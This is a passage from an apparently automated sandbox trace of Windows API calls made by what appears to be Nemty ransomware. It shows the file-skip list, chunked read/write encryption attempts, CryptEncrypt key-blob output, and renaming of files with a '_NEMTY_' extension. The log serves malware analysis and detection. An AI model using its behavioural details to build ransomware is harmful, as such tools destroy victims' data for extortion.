lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0204.719] CloseHandle (hObject=0xffffffff) returned 0 [0204.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0204.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0204.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0204.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0204.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.719] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-v._nemty_kgobjgd_")) returned 0 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0204.720] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x403c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-H", cAlternateFileName="EXT-RK~1")) returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2=".") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="..") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="...") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="windows") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="$RECYCLE.BIN") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="rsa") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="NTDETECT.COM") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="ntldr") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="MSDOS.SYS") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="IO.SYS") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="boot.ini") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="boot.ini") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="AUTOEXEC.BAT") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="ntuser.dat") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="desktop.ini") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="CONFIG.SYS") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="RECYCLER") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="BOOTSECT.BAK") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="bootmgr") returned 1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="programdata") returned -1 [0204.720] lstrcmpiW (lpString1="Ext-RKSJ-H", lpString2="appdata") returned 1 [0204.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0204.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ext-RKSJ-H", lpUsedDefaultChar=0x0) returned 10 [0204.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0204.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ext-RKSJ-H", lpUsedDefaultChar=0x0) returned 10 [0204.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0204.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ext-RKSJ-H", lpUsedDefaultChar=0x0) returned 10 [0204.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0204.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ext-RKSJ-H", lpUsedDefaultChar=0x0) returned 10 [0204.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0204.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0204.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0204.721] Sleep (dwMilliseconds=0x5) [0204.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2daae0d0, dwHighDateTime=0x1d561e8)) [0204.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2daae0d0, dwHighDateTime=0x1d561e8)) [0204.732] GetLastError () returned 0x5 [0204.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0204.732] GetLastError () returned 0x5 [0204.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0204.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.732] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0204.732] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0204.733] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0204.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0204.733] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="zsJlG9ONYS4ugfqQJp4LqQYrl3SoNnx5ZO0TRrGvlKMk+z95K354Jow4IWuMfD3Q\r\njU0gg6pkoyfmYthOt0cj6VLYKbb9vKjRixadn6APugsFJFKU/aDtdSOEXco3QcFG\r\ncS/Z+0IyjNzYRoG1jyBqnrzcG0CGOzA4ALKq67+itKiHo7UWVVHFmwTwAx04JLQ+\r\n81S5Sbi6UMWCfDzh/87Do79xvyu9EryPkIZ+64b+Ctu11fgKYQDMy0Y2uu0+VPU4\r\n8Wy45OJ52vE0tX74Lnw3E1Us4U6h+s2uNQEXZxezOIFLkR3SvdeNfByYUV7NQWOK\r\nyrJN61Ikdi+XMH82rh4zvQ==\r\n", pcchString=0x653e91c) returned 1 [0204.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0204.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0204.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0204.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0204.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.733] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0204.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0204.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.752] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.761] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.771] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.827] SetFilePointer (in: hFile=0xffffffff, 